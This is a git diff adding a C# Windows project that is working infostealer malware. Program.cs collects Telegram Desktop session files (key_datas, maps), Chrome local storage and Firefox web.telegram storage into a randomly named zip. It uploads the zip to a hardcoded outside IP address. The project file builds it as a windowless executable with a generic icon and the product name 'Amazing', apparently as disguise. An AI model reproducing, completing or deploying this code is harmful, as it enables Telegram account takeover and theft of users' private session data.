diff --git a/tg.sln b/tg.sln new file mode 100644 index 0000000..673f320 --- /dev/null +++ b/tg.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.7.34024.191 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "tg", "tg\tg.csproj", "{3638DE88-B7FA-4E07-85F9-B2B5B935E31F}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3638DE88-B7FA-4E07-85F9-B2B5B935E31F}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {EA54079B-EB23-485B-945D-AC74A1080938} + EndGlobalSection +EndGlobal diff --git a/tg/Program.cs b/tg/Program.cs new file mode 100644 index 0000000..2002f37 --- /dev/null +++ b/tg/Program.cs @@ -0,0 +1,129 @@ +// See https://aka.ms/new-console-template for more information + +using System.IO.Compression; +using System.Net; + +string currentUserPath = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); +string folderPathTg = Path.Combine(currentUserPath, @"AppData\Roaming\Telegram Desktop\tdata"); + +string webfolderPathEdge = Path.Combine(currentUserPath, @"AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb"); +string webfolderPathGoogle = Path.Combine(currentUserPath, @"AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb"); +string webfolderPathFirefox = Path.Combine(currentUserPath, @"AppData\Roaming\Mozilla\Firefox\Profiles\"); + +string webfolderPathFirefoxI = ""; + +if (Directory.Exists(webfolderPathFirefox)) +{ + foreach (string dirname in Directory.GetDirectories(webfolderPathFirefox)) + { + if (Directory.Exists(Path.Combine(dirname, @"storage\default"))){ + webfolderPathFirefoxI = Path.Combine(dirname, @"storage\default"); + } + } +} + +string randomName = Path.GetRandomFileName().Replace(".", "").ToUpper() + ".zip"; + +var filesToArchive = new List(); +filesToArchive.Add(Path.Combine(folderPathTg, "key_datas")); +string[] dirs = Directory.GetDirectories(folderPathTg); +string folder = ""; +foreach (string filename in Directory.GetFiles(folderPathTg,"????????????????s")) +{ + string temp = filename.Substring(0, filename.Length - 1); + if (dirs.Contains(temp)) + { + folder = Path.GetFileName(filename); + folder = folder.Substring(0, folder.Length - 1); + filesToArchive.Add(filename); + filesToArchive.Add(temp + "/maps"); + + + } +} + + +string zipPath = Path.Combine(Path.Combine(currentUserPath, @"AppData\Local"), randomName); + +using (ZipArchive zipArchive = ZipFile.Open(zipPath, ZipArchiveMode.Create)) +{ + foreach (string file in filesToArchive) + { + if (File.Exists(file)) + { + if (Path.GetFileName(file).Contains("maps")) + { + zipArchive.CreateEntryFromFile(file, "tdata/"+folder+"/" + Path.GetFileName(file)); + } + else + { + zipArchive.CreateEntryFromFile(file, "tdata/" + Path.GetFileName(file)); + } + } + } + if (Directory.Exists(webfolderPathEdge)) + { + foreach (string filename in Directory.GetFiles(webfolderPathEdge)) + { + if (!filename.Contains(".log")) + { + //zipArchive.CreateEntryFromFile(filename, "Edge/leveldb/" + Path.GetFileName(filename)); + // Исправить систему + } + + } + } + if (Directory.Exists(webfolderPathGoogle)) + { + foreach (string filename in Directory.GetFiles(webfolderPathGoogle)) + { + zipArchive.CreateEntryFromFile(filename, "Google/leveldb/" + Path.GetFileName(filename)); + // Исправить систему + } + } + if (Directory.Exists(webfolderPathFirefoxI)) + { + foreach (string dirname in Directory.GetDirectories(webfolderPathFirefoxI)) + { + if (dirname.Contains("web.telegram")) + { + if (Directory.Exists(Path.Combine(dirname, "ls"))) + { + zipArchive.CreateEntryFromFile(Path.Combine(dirname, @"ls\data.sqlite"), "Firefox(data.sqlite)"); + } + } + + } + } +} + +string uploadUrl = "http://194.87.238.17/tghd.php"; + +try +{ + using (WebClient client = new WebClient()) + { + client.UploadFile(uploadUrl, zipPath); + } +} +catch (WebException ex) +{ + if (ex.Response != null) + { + using (StreamReader reader = new StreamReader(ex.Response.GetResponseStream())) + { + string errorResponse = reader.ReadToEnd(); + Console.WriteLine("Ошибка при отправке архива на сервер: " + errorResponse); + } + } + else + { + Console.WriteLine("Ошибка при отправке архива на сервер: " + ex.Message); + } +} +catch (Exception ex) +{ + Console.WriteLine("Произошла ошибка: " + ex.Message); +} + +//File.Delete(zipPath); diff --git a/tg/sign_way_direction_arrow_recycle_icon_256191.ico b/tg/sign_way_direction_arrow_recycle_icon_256191.ico new file mode 100644 index 0000000..f46573a Binary files /dev/null and b/tg/sign_way_direction_arrow_recycle_icon_256191.ico differ diff --git a/tg/tg.csproj b/tg/tg.csproj new file mode 100644 index 0000000..93f4926 --- /dev/null +++ b/tg/tg.csproj @@ -0,0 +1,29 @@ + + + + WinExe + net6.0-windows + enable + enable + Amazing + sign_way_direction_arrow_recycle_icon_256191.ico + true + true + win-x64 + true + Link + + + + embedded + + + + embedded + + + + + + +